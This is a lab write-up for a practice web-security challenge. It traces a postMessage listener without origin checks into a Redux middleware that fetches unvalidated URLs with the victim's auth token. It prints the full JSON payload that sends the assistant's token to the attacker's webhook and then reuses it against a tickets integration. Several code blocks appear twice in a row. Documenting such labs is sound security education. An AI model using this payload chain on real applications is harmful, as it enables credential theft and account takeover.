October 24, 2026
Bugforge RelayBox-002
lab write-up

By 0zex
3 min read
detailed.
ENUMERATION :
-after making an account , we read the documentations for the assistant:
Needed Feature explanation :
- you send a JSON message via the "message" property
- ask an agent to open the preview → transport the message
we read the webhooks documentation:
Needed Feature explanation :
- you can make a webhook listener (listens via a delivery URL)
- you can check captured callbacks
Further Enumeration :
Looking at the CSP header , we can see :
- a connection is happening from localhost:port
- an iframe is loading from localhost:port+1 (cross-origin)
Next step : Analyzing client-side Javascript for patterns we deduced
Note: for a precise analysis ,consider installing the JavaScript file and use grep to follow patterns
Findings & Architecture :
- we have a cross-origin iframe that is activated solely if the id=="sam"
() => {
if ((b == null ? void 0 : b.id) !== 'sam') return;
let r = !0;
const A = document.createElement('iframe');
A.hidden = !0,
A.setAttribute('aria-hidden', 'true'),
A.src = `http://localhost:${ Number(location.port) + 1 }/assistant/transport-frame`; () => {
if ((b == null ? void 0 : b.id) !== 'sam') return;
let r = !0;
const A = document.createElement('iframe');
A.hidden = !0,
A.setAttribute('aria-hidden', 'true'),
A.src = `http://localhost:${ Number(location.port) + 1 }/assistant/transport-frame`;- if the id=="sam" ,there is a message listener that calls a function "Al" , no origin check .
window.addEventListener('message', Al) window.addEventListener('message', Al)- the function 'Al' does the following :
Al = Vl => {
const pl = Vl.data; // <-- The message from postMessage
if(pl.type !== "IframeTransportEvent") return; // <-- Check 1
if(pl.id !== _l && pl.id !== "*") return; // <-- Check 2
if(pl.payload.type !== "ACTION_EVENT_BUS_DISPATCH_ACTION") return; // <-- Check 3
const ie = pl.payload.payload;
if(ie.type === "ACTION_UI_EVENT")
ht.dispatch(ie); // <-- THE KEY CALL
}Al = Vl => {
const pl = Vl.data; // <-- The message from postMessage
if(pl.type !== "IframeTransportEvent") return; // <-- Check 1
if(pl.id !== _l && pl.id !== "*") return; // <-- Check 2
if(pl.payload.type !== "ACTION_EVENT_BUS_DISPATCH_ACTION") return; // <-- Check 3
const ie = pl.payload.payload;
if(ie.type === "ACTION_UI_EVENT")
ht.dispatch(ie); // <-- THE KEY CALL
}- the listener checks the "message" property for certain field values for it to dispatch it via the Redux :
"message":{
"type":"IframeTransportEvent",
"id":"*",
"payload":{
"type":"ACTION_EVENT_BUS_DISPATCH_ACTION",
"payload":{
"type":"ACTION_UI_EVENT"
}
}
}"message":{
"type":"IframeTransportEvent",
"id":"*",
"payload":{
"type":"ACTION_EVENT_BUS_DISPATCH_ACTION",
"payload":{
"type":"ACTION_UI_EVENT"
}
}
}- looking at the functionality of "ACTION_UI_EVENT"
function Ah(b = {
suggestion: null
}, M) {
if (M.type !== 'ACTION_UI_EVENT') return b;
const H = M.payload; //<-- Additional payload "field"
return (H == null ? void 0 : H.type) !== 'DRAFT_SUGGESTION' ||
typeof H.ticketId != 'string' ||
typeof H.text != 'string' ||
H.text.length > 500 ? b : {
suggestion: {
ticketId: H.ticketId,
text: H.text
}
}function Ah(b = {
suggestion: null
}, M) {
if (M.type !== 'ACTION_UI_EVENT') return b;
const H = M.payload; //<-- Additional payload "field"
return (H == null ? void 0 : H.type) !== 'DRAFT_SUGGESTION' ||
typeof H.ticketId != 'string' ||
typeof H.text != 'string' ||
H.text.length > 500 ? b : {
suggestion: {
ticketId: H.ticketId,
text: H.text
}
}- the "type":"ACTION_UI_EVENT" introduced additional fieleds ,so our message will look like :
"message":{
"type":"IframeTransportEvent",
"id":"*",
"payload":{
"type":"ACTION_EVENT_BUS_DISPATCH_ACTION",
"payload":{
"type":"ACTION_UI_EVENT"
"payload":{
"type":"DRAFT_SUGGESTION",
"ticketId":"any",
"text":"any"
}
}
}
}"message":{
"type":"IframeTransportEvent",
"id":"*",
"payload":{
"type":"ACTION_EVENT_BUS_DISPATCH_ACTION",
"payload":{
"type":"ACTION_UI_EVENT"
"payload":{
"type":"DRAFT_SUGGESTION",
"ticketId":"any",
"text":"any"
}
}
}
}- now once the listener validates this main structure , its sent to a Redux middleware :
function ph(b) {
return () => M => H => {
var U;
const h = (U = H.meta) == null ? void 0 : U.fetchOptions;
if ((h == null ? void 0 : h.auth) === 'required' && typeof h.url == 'string') try {
const W = new URL(h.url, location.origin);
fetch(
W.href,
{
method: h.method ||
'GET',
headers: { //<-- victim auth token is sent when fetching the url
Authorization: `Token ${ b }`
}
}function ph(b) {
return () => M => H => {
var U;
const h = (U = H.meta) == null ? void 0 : U.fetchOptions;
if ((h == null ? void 0 : h.auth) === 'required' && typeof h.url == 'string') try {
const W = new URL(h.url, location.origin);
fetch(
W.href,
{
method: h.method ||
'GET',
headers: { //<-- victim auth token is sent when fetching the url
Authorization: `Token ${ b }`
}
}which checks for another filed called "meta" with additional parameters :
- a nested field "fetchOptions" contains sensitive parameter "url" which doesn't have a URL validation
- whenever the middleware fetches the url , it sends the Auth token with it
based on this , our final JSON message would look like :
{
"message": {
"type": "IframeTransportEvent",
"id": "*",
"payload": {
"type": "ACTION_EVENT_BUS_DISPATCH_ACTION",
"payload": {
"type": "ACTION_UI_EVENT",
"payload": {
"type": "DRAFT_SUGGESTION",
"ticketId": "x",
"text": "test"
},
"meta": {
"fetchOptions": {
"auth": "required",
"url": "our-webhook-url-from-the-integrations"
}
}
}
}
}
}{
"message": {
"type": "IframeTransportEvent",
"id": "*",
"payload": {
"type": "ACTION_EVENT_BUS_DISPATCH_ACTION",
"payload": {
"type": "ACTION_UI_EVENT",
"payload": {
"type": "DRAFT_SUGGESTION",
"ticketId": "x",
"text": "test"
},
"meta": {
"fetchOptions": {
"auth": "required",
"url": "our-webhook-url-from-the-integrations"
}
}
}
}
}
}The full picture :
1- we send a crafted message via /assistant/previews to the assistant sam
2-"id"=="sam" → iframe automatically created
3- the listener Al validates the structure (no origin check ) → dispatch into Redux
4- intercepted by the middleware function ph()
5- middleware processes meta.fetchOptions
6- fetches the given URL without validation
7- returns an authorization token of the assistant
EXPLOIT :
- putting things into actions :
- next we send our saved message to the assistant
- finally we inspect our webhook
- now since we got a token ,we need to take advantage of it :
- we have this tickets integration that uses the same Token type we exfiltrated :
now we search the tickets :
a minimal diagram for our chain :
and we've achieved our goal .